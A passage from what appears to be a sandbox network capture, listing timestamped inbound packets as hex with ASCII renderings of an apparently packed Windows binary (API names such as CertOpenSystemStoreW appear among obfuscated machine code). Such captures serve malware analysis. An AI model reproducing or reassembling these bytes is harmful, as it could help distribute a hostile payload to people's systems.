96 87 48 03 e6 b1 a0 57 4e 26 e6 f6 1c 7d 77 62 73 f6 fc 61 ca db 5d 20 59 5d 4c 33 f3 59 9f 08 70 89 22 25 14 c3 c6 ad 8e 91 6c Data Ascii: oI:NRnlK_1S2g~au(m\|WNy_`Q0_9>I-h[Q.KJPW_A?yw1'q-@9(Q&bwJa?Y~55$P'8qG2@HWN&}wbsa] Y]L3Yp"%l
2023-05-10 00:21:17 UTC	5504	IN	Data Raw: 46 b3 43 59 27 29 65 b5 0f d7 b2 ff a7 0b e4 75 01 b6 a4 ef 44 b8 0a eb f8 bb bf 2c 8c d2 80 f7 60 c1 93 1b e6 73 ea d2 68 62 b4 20 0b 69 62 3e 9e 6f 93 dc e3 57 07 37 51 cb 1c 95 9d e0 a6 ee 62 a3 6d 04 6b 62 86 a6 9f 4c df e6 de 5d 10 88 b2 6c 9b d4 97 9d 9d 9d 98 ba ae 4d be 25 eb 63 84 30 6b 6e 62 7c e9 f7 95 5c ff 7f 0e 2b ec 51 99 9d 20 ab 71 91 dc aa f8 e9 3d 19 c2 dc c4 cd f3 5b 92 af f0 48 1f 30 07 28 ee 79 ec b7 0d 73 49 ca 41 a3 d9 69 b1 d5 b9 5e 5c 2c 43 ba 35 75 58 66 64 43 d3 ab 6d b2 d5 72 e9 73 66 f5 65 2b b8 d5 13 43 1f 62 97 ea d9 28 c5 d1 cf 47 e9 d2 f5 41 06 b7 d5 9d 44 bd 4e 6b 22 18 23 cb 29 d3 a8 d5 f0 e5 13 ad 14 fb cb b8 7c 49 12 53 d9 70 fb ff 5c 18 00 3a 33 8f 8f c7 00 3b cb c2 ff fa d8 8d f8 43 08 14 37 e4 70 69 f4 c3 1b c0 e8 Data Ascii: FCY')euD,`shb ib>oW7QbmkbL]lM%c0knb\|\+Q q=[H0(ysIAi^\,C5uXfdCmrsfe+Cb(GADNk"#)\|ISp\:3;C7pi
2023-05-10 00:21:17 UTC	5520	IN	Data Raw: 15 20 c5 61 a9 ae b3 c6 aa 42 d1 33 f0 e3 6e e1 75 6d da c8 eb 4c 27 39 67 58 c9 88 8c 02 a9 79 d0 71 09 0a 31 7e 85 f2 1d 87 32 17 32 c1 1b 32 5d 59 ee 96 17 b9 a2 5d 0c 25 9e 3d 8e 9f 26 55 ce 39 08 b9 4a e3 25 ab 82 2d 61 54 ae af 16 b0 4e 24 f8 5e a7 d0 91 44 5e dc f4 91 32 ff ee ab 6f f8 28 05 b5 79 64 43 a5 3c 0b c9 98 54 9f d7 f8 bc 79 58 af ca 53 00 cd dc 4b b7 40 f1 db b4 79 af b4 65 d2 4b 0e 85 d0 b4 b2 14 04 df 88 71 2c 3d 0f 1f 77 ec 78 df ae 6d 8a 2f f7 8c 44 54 fc e2 fe 12 02 f8 ac 79 21 d9 61 69 36 d1 19 a4 af bd 2f d7 86 06 1d f4 6b 9a 45 b2 78 ff 4b 47 2a 46 3d 57 06 91 e3 57 e6 d1 91 40 5e 60 17 d8 53 62 72 63 fa 67 56 9a a4 38 da fd 10 9c c9 1a dc 27 ac 99 97 83 bf dd e6 b5 8f 42 e0 f0 60 a5 d8 5b 4b 49 81 27 c6 86 33 5c d8 57 dc 75 59 Data Ascii: aB3numL'9gXyq1~222]Y]%=&U9J%-aTN$^D^2o(ydC<TyXSK@yeKq,=wxm/DTy!ai6/kExKG*F=WW@^`SbrcgV8'B`[KI'3\WuY
2023-05-10 00:21:17 UTC	5536	IN	Data Raw: 49 d1 22 4a 9c 7d 24 ad 86 dc ca 0e 8b f0 31 66 7c 91 4f 6e 14 1f 4b b3 64 14 55 f7 f9 9b aa 4f 39 0e 20 f2 6d 7b 68 14 fb 13 14 67 55 56 ec 0e 6a 7d f2 95 eb 85 51 ac 99 2a b3 51 0e cf 0e 27 74 37 44 46 06 fc 2b c2 52 77 55 76 84 1e f0 37 45 71 2f a7 82 53 77 e7 69 3b f3 ba 73 1b c6 0c 0f 51 97 ca 0c 56 3b 19 3c f3 80 c5 75 34 f3 03 92 1e 37 f3 5e 26 ea 34 f3 a6 07 a0 c4 0c 37 f3 12 cf 0c ed 6c 0a 3c f3 35 a4 1d 39 f3 25 d3 a7 3f f3 04 b5 97 cd 0c c9 b7 1b c1 0c 41 55 95 37 f3 fe 73 f9 3f f3 55 b4 92 3c f3 58 f0 66 3f f3 60 e9 2c cf 0c c9 1d 07 a0 02 7a 2c b9 33 be ea 6b 96 0a 58 5c 43 06 b4 8d f5 dd b7 21 60 8f d5 20 5f b4 aa 41 4f 89 04 a4 b1 d4 13 5a e8 82 13 ed 73 6f 89 22 54 5b 98 9e dd 53 19 b7 b4 e6 1b 41 82 f5 7d 0a 48 1a b2 7c f5 dc dc 9a ec 4b Data Ascii: I"J}$1f\|OnKdUO9 m{hgUVj}Q*Q't7DF+RwUv7Eq/Swi;sQV;<u47^&47l<59%?AU7s?U<Xf?`,z,3kX\C!` _AOZso"T[SA}H\|K
2023-05-10 00:21:17 UTC	5552	IN	Data Raw: a0 61 5a 1e 98 30 0c c5 b3 ac 78 6c c0 4f 5c 9e 86 2f d5 12 cd 30 f2 23 4b 33 89 ca 19 f4 e3 57 9a 77 62 80 83 49 73 63 28 a6 31 4c dc 18 17 87 61 75 b9 a2 bb 30 cb 44 2e cf d4 8f 39 b8 30 06 f4 32 e6 5a f9 42 6b 03 34 40 7e 26 57 83 f7 4f 46 ca d9 f3 5c 1c 82 91 9b c6 e5 f8 2b 49 42 41 ae 8f 77 85 12 41 47 9c a1 aa d2 1f db ef ad 15 d6 bf 9a e4 80 8f 4d 0a f0 f2 6b 55 a1 5f c2 26 b2 95 b4 fd c1 e3 9d 9e 30 9b 56 0d 53 c7 b3 f7 95 fa 16 ce 1d 7e 16 6d a1 8c 14 ea 2c 21 53 cc 39 8e a5 d2 2f db dc 51 40 ae b8 61 ca 2f 33 45 a5 01 e6 86 e1 9c 7d 3e cf 76 5c 6f ed 59 ef 3f 8d 12 28 c0 6f 74 1a 51 61 c4 c2 9a 45 36 22 d9 b9 d5 ee 22 b5 df 05 83 9e 79 de 8c db 67 16 ec c6 0a b6 d1 13 a7 75 5d 5b ef bc a0 43 3b 38 de 4b 62 cd 27 f0 cd 12 00 3e ee 1e df 90 27 de Data Ascii: aZ0xlO\/0#K3WwbIsc(1Lau0D.902ZBk4@~&WOF\+IBAwAGMkU_&0VS~m,!S9/Q@a/3E}>v\oY?(otQaE6""ygu][C;8Kb'>'
2023-05-10 00:21:17 UTC	5568	IN	Data Raw: dd 7d b8 d1 76 23 22 9b 70 f3 db 9d 96 cd 38 22 02 0c 55 b8 d9 5d a3 c4 8c d3 9d df cb 4c d4 3d 3e 07 66 21 a2 29 0f 04 d7 7d df 7f b5 fb 68 28 61 20 d5 1b 30 f2 6b c4 19 1b 77 82 3b 4e d1 d3 38 d5 22 d6 90 37 d5 91 dc d2 75 c4 ed ba c9 c4 2a 09 d1 b3 ba 2a a6 00 ca 9c 3b 65 12 5f 20 d5 a1 22 93 8e c4 0b 90 f8 ba 2a f3 f8 37 9e 3b d1 bb b2 77 c4 ee 41 16 cd 2a b2 9e 55 c2 2a d9 bc 17 80 3b 8d 32 0c 31 d5 81 71 2a df 5d ff 4d 3d c6 27 ba f9 76 d1 47 68 da 9d bd be bf e9 f5 2f cb 24 d5 84 61 93 b9 fe cf a2 ed 95 e4 ff ff ff 62 89 74 a6 38 0a 90 5c 92 09 e6 84 41 92 0b 88 f1 dc c4 60 ee b9 cb 55 4b ee ca cd 1c fd 00 7e a5 d0 53 11 8c d7 db d3 b7 b0 eb e4 15 48 0d 14 ad 0c 52 ad 42 1e ff 5a 93 7d 13 08 e1 66 84 08 92 bb e8 0c c1 0e 27 12 08 5a 7b d6 21 60 29 Data Ascii: }v#"p8"U]L=>f!)}h(a 0kw;N8"7u*;e_ "7;wAU;21q*]M='vGh/$abt8\A`UK~SHRBZ}f'Z{!`)
2023-05-10 00:21:17 UTC	5584	IN	Data Raw: 1f 2b 85 1e b2 f3 3e a9 99 17 ac 6b 89 c4 9a a1 2f 07 82 bb 01 89 04 88 a9 00 22 ea 84 1e d3 84 64 d3 4d 7a 36 f4 ac dc 2d 88 50 dd 8e 7c 25 77 a0 ee 77 bd 59 22 f2 71 95 9a 83 a4 57 3c 16 ef 11 07 d2 70 13 00 9f f4 09 88 26 f8 b6 84 34 cf 2d 2a f8 77 1d 57 f9 83 9c dc 8e 04 01 76 c9 0a 78 66 33 c2 e8 73 21 88 3b 89 63 94 a4 29 fd 34 96 9c c5 25 89 ff 77 ee 1d 30 ed 77 b0 c6 c0 16 88 31 c3 93 ea 77 e3 7c 81 09 88 89 37 51 29 88 64 5f 6b 05 76 b2 85 60 ed 77 a5 5b f0 d2 77 38 b8 31 f0 89 06 68 68 14 88 7d 87 65 03 88 0e 6f dc 11 88 22 9c 2c ea 77 89 71 7f 16 88 73 36 6d f5 77 a3 55 bd d5 77 e6 55 87 f9 89 19 f7 8c 11 88 57 91 cb 33 88 00 00 43 65 72 74 4f 70 65 6e 53 79 73 74 65 6d 53 74 6f 72 65 57 00 4e 6d c1 d2 52 fe f0 3d 2d 37 8b 50 cf 2c ad 45 45 dd Data Ascii: +>k/"dMz6-P\|%wwY"qW<p&4-*wWvxf3s!;c)4%w0w1w\|7Q)d_kv`w[w81hh}eo",wqs6mwUwUW3CertOpenSystemStoreWNmR=-7P,EE
2023-05-10 00:21:17 UTC	5600	IN	Data Raw: 4a b3 0f b8 78 23 09 63 2b e5 ff 9b ef e1 88 72 06 1b 1b 90 bb f0 15 85 f6 28 64 d3 40 e4 c0 72 d5 60 65 1d ee da 9a ec 0a 31 1f 4a 88 53 1a 60 24 03 b2 70 f5 d9 32 b7 23 c0 3c ff 22 78 2d d4 e3 1d cf 32 3f c8 e0 52 59 45 f2 d7 39 31 80 2e c6 80 32 d9 2c f2 48 d9 88 2b 88 5a f4 f3 31 cd df 16 44 37 d7 86 12 ee c5 b3 31 52 13 7c 58 78 3f 62 75 0a 59 2c c3 4b 6a 12 d7 05 63 f1 ff b3 ea df c4 63 7c c8 db 5f d3 d0 ed ad 00 e3 0c 45 a7 e9 df 1f b8 f8 1c f5 35 75 cd b4 06 2d f6 bb fc 0d 0c 23 99 ee e9 30 0b f9 b5 f6 5a e4 17 99 5f 4b b4 54 7e 0b ea 11 9c c2 b3 b5 be 54 ab 10 67 bc ab 89 19 55 25 f2 f3 d2 be 5f 92 f7 05 bc 08 50 74 1a 89 e8 16 04 d4 ad 0c 7a ae c6 74 d5 46 2c fe fe 4a f1 90 54 2a 0b e9 c5 25 a3 ca 0d 97 ff 4f d3 0d fa fc 9b a4 f0 46 22 79 f8 a5 Data Ascii: Jx#c+r(d@r`e1JS`$p2#<"x-2?RYE91.2,H+Z1D71R\|Xx?buY,Kjcc\|_E5u-#0Z_KT~TgU%_PtztF,JT*%OF"y
2023-05-10 00:21:17 UTC	5616	IN	Data Raw: 85 29 eb 89 b5 7f 7c 73 76 a2 8d c8 66 76 61 d3 2b e3 c9 5a 1f 2b 66 96 29 b0 5f 00 cc 08 43 29 28 5d 18 6b 31 82 76 8a d3 0b 7c 20 7b c0 0c 9c ae 25 e2 66 97 9f 50 09 86 aa 89 10 56 8a 3b 69 1c 64 6c 9a 21 82 2e fe c5 01 de 0f 64 7c 42 e9 db a3 ff 54 18 28 d5 d7 51 30 00 cd 7d 5a 8a b8 f7 83 38 6b ab f0 63 8a 3d 89 9a 68 e7 08 62 7a 55 e5 03 15 12 60 7f ee cd c9 4d a5 f8 10 44 20 59 8f 7e 16 ae 74 91 18 7b bd 10 0e 9b 80 0a c7 51 99 ca d3 ac cb f2 d2 ac 16 29 dd 58 84 57 84 cd dc d1 59 7c ee 7b 13 83 7f 83 d5 79 cb c1 04 51 7b b2 55 2d c2 08 d5 d8 c9 e5 fe dd a3 6c bd 38 ac d1 a3 a5 ec 18 04 13 e2 ef ff eb ef 58 d0 ba 51 a6 0b a4 e8 ee 04 40 6d fd b0 cc f6 04 fa cd 19 16 cd 0d 0f fb ee 40 51 cb 4c 0c 7a a7 ac 5c fd be bf b2 a3 f3 62 be 84 74 69 75 40 4d Data Ascii: )\|svfva+Z+f)_C)(]k1v\| {%fPV;idl!.d\|BT(Q0}Z8kc=hbzU`MD Y~t{Q)XWY\|{yQ{U-l8XQ@m@QLz\btiu@M
2023-05-10 00:21:17 UTC	5632	IN	Data Raw: e8 7c 7f d7 c6 02 fd 69 9f 8e a9 21 51 e8 f8 36 2b a0 88 99 a4 86 f6 44 54 e2 4e 2f 52 43 48 26 79 b8 a8 fc c3 80 00 00 52 65 6c 65 61 73 65 53 65 6d 61 70 68 6f 72 65 00 69 83 da ed 93 cc 82 54 04 79 c1 60 a5 d9 06 cd 65 ed 9b d9 21 b5 b2 c8 42 d1 a7 79 c2 09 41 43 b6 83 b3 58 fc cf ad 10 88 5d 57 04 01 02 48 c7 54 0f 9f 08 21 cc cf df 8b 53 69 49 76 94 56 04 e7 23 76 a7 d9 e8 27 73 ef 9b 7f 23 a3 b0 c8 60 13 b1 7b c2 b3 b3 55 b4 83 f1 0a ea cd ad 56 02 4a bc 79 39 a1 88 50 e6 f4 ac 22 4f 0e 2c 43 2e a1 0e 58 53 27 4a 3b 1c d5 15 4b 42 f4 bc 10 db bc 8d a4 cf 2e 9d 67 07 aa d4 24 ae 89 ec c8 b2 19 30 f4 e8 0d f3 56 a4 6c f7 24 6c 47 a6 ec 08 a0 95 ee a1 52 b1 8b 4f 17 d1 32 c8 62 41 ed a9 7a b3 5a 7a 48 52 27 ca 3a 64 d3 fa f9 65 d1 89 8b 34 99 bd d9 45 Data Ascii: \|i!Q6+DTN/RCH&yReleaseSemaphoreiTy`e!ByACX]WHT!SiIvV#v's#`{UVJy9P"O,C.XS'J;KB.g$0Vl$lGRO2bAzZzHR':de4E
2023-05-10 00:21:17 UTC	5648	IN	Data Raw: c0 f1 f4 ea 18 49 e4 49 60 70 4f 93 1f 2e f0 da 40 fd fa 4f ca 0c e6 cc 90 2d 62 cd 2b bf 5c ab dd fe 9f 0e 1f 06 6b c6 db 24 d7 40 d9 26 a1 0a 60 32 cd cb ab f9 e6 f7 31 14 46 59 49 ae 1e b7 01 10 3c b3 e1 3d 2d 7a 7b 38 93 82 d0 13 6e d9 c8 97 19 fe 71 61 60 20 5f 12 03 98 28 f9 0d 1c 87 65 39 42 52 cc 56 68 6e 7f 26 d7 7e 26 37 8d 0b 46 e9 f9 12 01 b7 11 00 80 ac e1 35 25 c6 64 38 ab ba 6c 0c 6e c9 d8 2b 06 fe c1 d1 dc 3f 5f ba ab 24 37 f9 e5 f4 5e 69 11 f7 8d e1 fb 34 33 14 e9 e3 38 3b 52 74 da ee 19 6b 3e 39 a9 62 ee 91 8c 20 03 5e c9 71 ab 90 16 67 85 d0 37 a0 2b 17 ec d3 3c 2b 5d 87 74 b1 0e b9 88 67 2b 3c 9e 77 94 b8 3f 55 1c b3 38 09 1c 54 73 7e 94 25 12 c9 47 de c6 11 82 c2 71 73 24 3b 72 29 8e a3 48 3a 87 7a 4c 57 8c cb e8 dc 53 1b 3f e4 64 92 Data Ascii: II`pO.@O-b+\k$@&`21FYI<=-z{8nqa` _(e9BRVhn&~&7F5%d8ln+?_$7^i438;Rtk>9b ^qg7+<+]tg+<w?U8Ts~%Gqs$;r)H:zLWS?d
2023-05-10 00:21:17 UTC	5664	IN	Data Raw: 65 8a 54 6a 29 1b 52 18 cf 4e d1 7b 6a cb fd 88 ef 30 24 25 14 8f 88 f5 02 6a 71 2b d4 e2 30 dd 6f 1f 8f 82 5e e3 0e af 62 9d 0d 27 88 e0 78 01 2a 45 f5 91 21 51 ac 1b 1f b1 e0 53 10 f5 55 b3 d5 ae 45 9a 3c eb 68 0a 4c fe 98 0f a4 df 90 06 5b b3 45 2b 0a 66 96 61 47 57 56 69 d3 fa b3 7d 2f ee 84 69 c3 1d 85 29 e7 b7 1c 63 f6 ca 7e 6d fe d5 9e f1 11 0a d9 ec 78 60 1a 76 b8 8d 15 27 c6 29 6d ec 6f 55 ff 94 3d 23 3d 45 0e 75 45 8a d1 f7 ca 71 ed 0e f9 6f 4d eb 51 91 47 de 9e f0 bb fd 5f d5 6f e8 0e 4c 1f 35 53 41 f1 8a ce 2d 7b 9f 1a eb c3 1d dd eb dd 77 9b b4 0d 76 e9 c5 44 a6 a4 e9 4a f8 82 b6 c9 2e cf 6a bb be 87 90 2c 07 d1 cc ee 18 da 87 ad 9d 36 57 ef 2c a3 3e b6 6f 31 e6 aa 2e 74 14 f1 b9 19 d2 54 95 4d 10 b3 6c a4 bd 31 f8 b5 1e d1 6c 93 5f f3 0b 64 Data Ascii: eTj)RN{j0$%jq+0o^b'x*E!QSUE<hL[E+faGWVi}/i)c~mx`v')moU=#=EuEqoMQG_oL5SA-{wvDJ.j,6W,>o1.tTMl1l_d
2023-05-10 00:21:17 UTC	5680	IN	Data Raw: 4d 5c bf 4b 2a 7f 6e f8 41 ba 6f 7f 0f 78 1b e4 f5 f7 70 bd ab ba e8 3d 7d 64 74 a3 0e 2c 60 71 49 8f 3a a8 b9 e2 53 02 37 27 7d 59 f3 f7 e6 ef f4 a5 2b 3b a9 3c 7c 7d 6c 03 54 2a af be 44 5e ba f7 e7 b3 67 1b bc ad 4b 6f bd 93 82 54 22 7d cc dc 1f 11 2c e8 f9 a4 66 4a 37 0b ec cc 6f 90 8f 95 8c 86 09 3f cd 71 7d d2 77 63 85 3e 3d c1 2f 17 be 29 5d 2f 5d 7d 8e d0 0a b9 c6 25 4a 38 9e 99 9e d9 3b 55 de 29 59 0d 1c 92 01 1f 90 25 dc 33 26 da c6 8b 38 a3 75 73 42 89 13 2d 8e 11 fa 5b 83 7a 1e 25 ed cf e8 b6 51 71 cf a2 f5 d6 fc ea 46 d2 f5 66 d8 61 41 5e 0b c9 7e 7d 87 57 17 d4 35 a2 b4 ed ca 18 97 96 7f ad 8e 23 06 3f 69 5e 19 e2 5d 4b 5a f2 7f 51 2c 8e 50 50 c4 df 68 d8 1d 2d 90 e1 0a 09 a4 42 50 ce f1 fa a7 ae 6a 7a 64 ce c7 1c a5 ab af d6 61 36 94 d7 ed Data Ascii: M\KnAoxp=}dt,`qI:S7'}Y+;<\|}lTD^gKoT"},fJ7o?q}wc>=/)]/]}%J8;U)Y%3&8usB-[z%QqFfaA^~}W5#?i^]KZQ,PPh-BPjzda6
2023-05-10 00:21:17 UTC	5696	IN	Data Raw: 7a 86 c7 6e ae ac 48 af f4 ca d8 40 6e a2 10 35 4b 39 af 0c a7 a8 59 53 ab 31 a1 26 b4 44 1a 2d 02 77 04 37 2c 59 46 46 fa 7c 2f b5 20 aa 02 07 d4 26 3c 57 66 26 fa 5d 55 3e f6 78 9b 12 b5 39 03 5a 30 4b ff 43 03 d4 4a 74 34 0e c3 4a 1d e4 b7 d1 4a 6a e7 47 2a b5 d3 32 14 d6 4a 10 0d 06 35 b5 b8 76 d6 15 b5 05 06 ec 39 4b 2a ec e7 d1 4a 6d 2a 77 ee 4a cb 69 b6 cc b4 b5 11 ef 28 b5 06 7e e2 3f b5 37 a6 5b 2d b5 2b 65 ab d6 4a f2 68 f8 2a b5 ab 7f ea c9 4a 0b e6 e0 de 4a 9e 17 59 fb 4f c7 ba 67 1d ff 7e 49 6c b5 e5 ad a3 6a 15 43 12 13 91 4a 46 bb 9f 6c bd 4a 85 96 6f 5d 1d a1 81 95 7a be 40 48 95 9a 16 3b 19 6c 0d 8c 2e 74 7d f5 96 4b 33 7f 2d 8f c7 28 8a e2 97 a6 db 81 4a 75 2d 31 87 ea fb 7a 81 7c b5 e6 8b 0d 81 42 c2 7d 04 82 a2 b5 09 13 78 85 3e bb 1f Data Ascii: znH@n5K9YS1&D-w7,YFF\|/ &<Wf&]U>x9Z0KCJt4JJjG2J5v9KJmwJi(~?7[-+eJhJJYOg~IljCJFlJo]z@H;l.t}K3-(Ju-1z\|B}x>
2023-05-10 00:21:17 UTC	5712	IN	Data Raw: b2 4e 44 b8 e8 28 3f 9c bc e8 1a 2a d5 7e 7e 82 23 80 34 65 25 9c 26 95 ca 1f 48 e9 f7 71 01 d8 e8 3b 43 1f 42 17 64 1a 5d 8d e6 41 43 a5 0e 86 37 79 47 3e 29 7f aa a5 18 d4 fe 1b 53 8f 69 d6 9b 0c 10 9a 8c 83 cd 63 21 23 73 9e 27 d8 87 78 0f bd 52 c7 9f 5d 15 c2 cf 00 87 23 02 32 68 a7 cd 87 78 6d 99 80 4d 66 2a 17 60 59 11 dd 87 90 6d 9c bb d6 fc b8 9c 51 a0 ac f1 95 0e bf b1 52 75 f9 63 db cf a4 3b 22 73 de 27 79 72 4b cd 39 fd 89 df b8 b8 b3 22 56 e6 0a 72 fc da df 0e 2e 4a 6b 4c df a8 58 3b a0 1a ea a0 6d a4 7f 39 59 55 b3 99 79 db 06 a7 27 19 e7 37 23 73 5e 27 70 5e 42 71 7d 94 73 14 4b dc 4f 69 5f a4 d4 92 f1 fc 2b ec 64 b8 59 65 6b 5b 43 70 af 5b b5 04 c8 cb 0f 4b 85 c8 ec 2d c7 f6 e5 24 91 bc b4 4c 22 73 1e 27 3f 0c e5 05 c0 ff 6a b9 cf d7 47 68 Data Ascii: ND(?~~#4e%&Hq;CBd]AC7yG>)Sic!#s'xR]#2hxmMf`YmQRuc;"s'yrK9"Vr.JkLX;m9YUy'7#s^'p^Bq}sKOi_+dYek[Cp[K-$L"s'?jGh
2023-05-10 00:21:17 UTC	5728	IN	Data Raw: 69 46 f0 ca 43 82 1d d7 f7 fe 8c cd 43 ff 2b e8 b8 dd f1 7e 3e b7 8f e9 48 f7 03 38 b5 19 58 3a d7 f9 92 14 20 f6 79 fd c8 a9 51 28 28 1b 38 6c 25 b7 bc 30 8a c6 c2 09 14 e5 5f c4 48 c7 70 0b 43 5f 23 df 4b a0 1c 4c 75 f9 4d ef 44 9f 13 71 bb a6 9b 84 d7 5f 20 5c 33 44 3d 45 03 75 a0 d6 b2 eb 76 a8 9c 1d ae cc bf 53 5b 5b de 1b 5a 29 05 0a 7c 4c 85 11 bb de 2c fd 00 28 73 05 b0 6f 10 36 08 dd 6d 9b 16 fe df bb 7e da 54 69 5d 39 ae 82 55 09 20 25 ba 13 56 7d 69 85 48 22 28 58 63 57 82 96 f3 8f 61 b8 88 ec f9 9f 7d b7 7f 70 5e 3c b0 cb 97 be 1f 4f 8e 7a 51 dd 8f e6 30 15 d1 13 d6 1b 82 9f 88 37 c0 5e e2 7c 28 b4 89 21 30 dc 50 c3 0b bf bf 3f 03 a7 97 8f a7 f7 63 e0 0f e0 ab 87 aa 69 4b ac 70 54 e9 28 c2 5a e6 5a d4 89 b1 ef 7d af f1 f9 e9 db 1b fe 1f 72 3a Data Ascii: iFCC+~>H8X: yQ((8l%0_HpC_#KLuMDq_ \3D=EuvS[[Z)\|L,(so6m~Ti]9U %V}iH"(XcWa}p^<OzQ07^\|(!0P?ciKpT(ZZ}r:
2023-05-10 00:21:17 UTC	5744	IN	Data Raw: 3b 3e ad c7 bc bb 36 fc 40 44 ec bf 08 18 09 47 c5 79 c9 58 c0 ef 19 fb 27 9b ae a6 bc 2c 9b a4 00 18 60 39 27 5e a9 0f fb 56 4a 04 7f 5a 96 36 44 af 16 ac f7 84 f2 3c 88 75 be cf a6 2e 12 ef 5d fc 41 00 e7 25 81 c8 b2 03 2a b7 6a 24 8d df bc fd 1a 2a cc ba 62 45 60 93 3b 83 2e d9 e3 f6 fc 0e 68 b4 17 1c c4 e2 11 ad 09 62 44 ba 2d 0d 9d a3 85 e2 7d ce 25 54 b2 5f fa 7d 89 75 c3 29 3d 32 1c ae c0 23 e2 17 a6 37 2f c5 0b 9c f7 c5 9c 7a b2 8f 4e a3 93 68 48 f9 58 96 eb 60 ad 0a 70 9e 11 a6 06 eb 3d 36 ba 01 d0 3e ab 3e c2 eb 1e 15 26 79 f3 6c 00 3b 34 de 3b 57 cd ca f1 24 5d cb cb e6 80 01 d4 db b3 c1 37 40 4f 07 13 1b e6 e8 ac 52 7a bf 11 29 50 fd 59 48 bd bd 4c 26 d4 06 2d ed b4 3e 32 57 46 59 8a 19 58 c5 19 c3 f6 3e f3 8f ee 8b d8 6b 7c 3c 87 db 95 30 9d Data Ascii: ;>6@DGyX',`9'^VJZ6D<u.]A%j$bE`;.hbD-}%T_}u)=2#7/zNhHX`p=6>>&yl;4;W$]7@ORz)PYHL&->2WFYX>k\|<0
2023-05-10 00:21:17 UTC	5760	IN	Data Raw: 89 77 50 21 6c 76 9c eb 0b 62 76 09 c0 d6 96 89 4c 6a 57 ea 89 6d 78 02 72 76 a5 ca b6 67 76 36 83 c8 94 89 69 13 e9 ec 89 12 c5 7b 95 89 ef 82 a0 66 76 a3 c6 f0 16 76 24 84 e1 98 89 48 5f cb 96 89 cd 0c 16 62 76 80 86 97 1e 76 96 4c c2 86 89 b1 ce 76 93 89 02 af 08 60 76 42 a0 6a 18 2c 00 00 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 41 00 00 00 00 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 57 00 1b 83 d6 25 52 a1 64 14 64 e5 ad b4 4b 37 ce 5d a6 80 3d 9d 3d 42 4f 7c 37 74 fd 36 52 18 fc 5c ae fb 01 2e 49 3e ab 13 13 09 d8 33 8f db 8a aa 96 2d b2 95 af fb 3f 0f 77 5e 26 c8 03 72 16 64 73 37 a2 49 37 90 7f b0 82 3d 63 77 54 4d 7c 31 d6 eb 34 52 4e 66 4a ac fb 83 c4 5f 3c ab c1 e9 1f 6d 26 f6 da 80 cc fd 2a a6 2f 64 9a b7 2e 5c b4 14 6e 93 Data Ascii: wP!lvbvLjWmxrvgv6i{fvv$H_bvvLv`vBj,GetModuleFileNameAGetModuleFileNameW%RddK7]==BO\|7t6R\.I>3-?w^&rds7I7=cwTM\|14RNfJ_<m&*/d.\n
2023-05-10 00:21:17 UTC	5776	IN	Data Raw: 66 66 d3 d8 8b cf f9 66 c1 c0 a3 b8 de 78 2a 2e d3 c0 41 80 fa 22 40 02 c7 66 41 3b ec 32 04 2a 88 02 e9 00 00 00 00 0f 84 15 00 00 00 48 ff c7 48 81 ff 04 01 00 00 e9 00 00 00 00 0f 82 b4 ff ff ff 48 8d 6c 24 50 66 0f 4b c5 66 40 0f be c5 0f bf ca 48 8b d5 66 f7 d0 48 0f b7 c7 0f 97 c4 48 8b ce e9 01 00 00 00 9f 48 8b 05 f8 41 b1 ff e9 6f 7f a6 ff 80 7b 01 23 66 40 0f be d5 41 0f bf d4 48 8d 53 01 e9 00 00 00 00 0f 85 6e 00 00 00 0f b6 53 02 84 c3 e9 00 00 00 00 48 83 c3 02 f8 f9 84 d2 0f 84 52 00 00 00 90 f7 d0 66 0f 46 c3 66 b8 12 31 8d 42 d0 48 ff c3 3c 09 e9 00 00 00 00 0f 87 34 00 00 00 0f be c2 40 2a cf 66 44 3b cd 8a 13 d2 dd f8 ff c9 8d 0c bf 41 1a fa 41 80 ff 52 66 23 fa 8d 7c 48 d0 66 81 ff 5c 64 84 d2 e9 00 00 00 00 0f 85 b9 ff ff ff 48 63 d7 Data Ascii: fffx.A"@fA;2HHHl$PfKf@HfHHHAo{#f@AHSnSHRfFf1BH<4@*fD;AARf#\|Hf\dHc
2023-05-10 00:21:17 UTC	5792	IN	Data Raw: c0 f1 49 40 32 f7 49 81 e8 02 00 00 00 66 41 0f ba f9 9b 66 41 d3 c1 66 41 89 38 48 81 eb 04 00 00 00 41 c0 d1 cd 66 44 0f be cb 81 f9 c6 33 04 26 44 8b 0b f9 f6 c7 39 44 33 ce 45 84 c5 41 81 e9 64 3a 1b 4c 41 0f c9 41 81 e9 58 15 64 0e f8 41 d1 c1 41 f7 d9 e9 fb 17 0a 00 f8 23 e8 e9 33 c5 13 00 0f 31 40 80 d7 4a 66 41 0f bd fc 48 81 eb 08 00 00 00 89 13 89 43 04 44 0f ac d7 2d 40 c0 e7 1f 49 81 eb 04 00 00 00 48 d3 df 66 0f a4 e7 bf 41 8b 3b f8 f9 33 fe 45 84 e7 81 fd 10 68 af 08 0f cf 40 3a f1 81 f7 0f 61 b7 62 f8 f5 e9 09 f2 01 00 ff c0 c1 c8 03 f8 35 c0 27 a8 35 f8 41 84 d8 53 31 04 24 66 41 13 dc 5b f9 40 3a d6 48 63 c0 45 3a cf 4c 03 d0 e9 38 23 06 00 0f c8 e9 3c a8 11 00 f5 45 84 f1 49 81 c1 04 00 00 00 f5 33 cb f8 0f c9 c1 c9 03 0f c9 e9 b1 0e 08 Data Ascii: I@2IfAfAfA8HAfD3&D9D3EAd:LAAXdAA#31@JfAHCD-@IHfA;3Eh@:ab5'5AS1$fA[@:HcE:L8#<EI3
2023-05-10 00:21:17 UTC	5808	IN	Data Raw: 61 ae 55 48 81 fc 3d 0c 6d 45 41 51 44 31 04 24 41 59 f9 85 fe 4d 63 c0 49 03 d8 e9 07 19 11 00 e9 9f be 0b 00 ff c8 45 3a fe 41 f6 c0 69 f7 d8 f5 f9 e9 f5 c7 0a 00 49 f7 c0 17 38 7a 15 4d 63 c9 f9 4d 03 d9 e9 c1 d0 0f 00 49 8b 38 41 8a 68 08 fe ca 49 81 c0 0a 00 00 00 2a d2 26 40 88 2f 66 0f bb c2 0f c0 f6 48 81 eb 04 00 00 00 8b 13 33 d6 d1 ca e9 aa 9b 13 00 d1 c6 66 44 85 e9 e9 37 89 05 00 41 52 c3 41 50 c3 9c 66 44 33 c8 8f 07 66 41 b9 c8 05 44 8b 4c 25 00 66 85 cc 48 81 c5 04 00 00 00 45 33 cb 40 80 ff 7f 40 84 ff 41 81 f1 c7 38 66 4e e9 14 c2 09 00 4c 03 dd e9 9e 71 12 00 ff c2 f9 f8 d1 ca f7 d2 e9 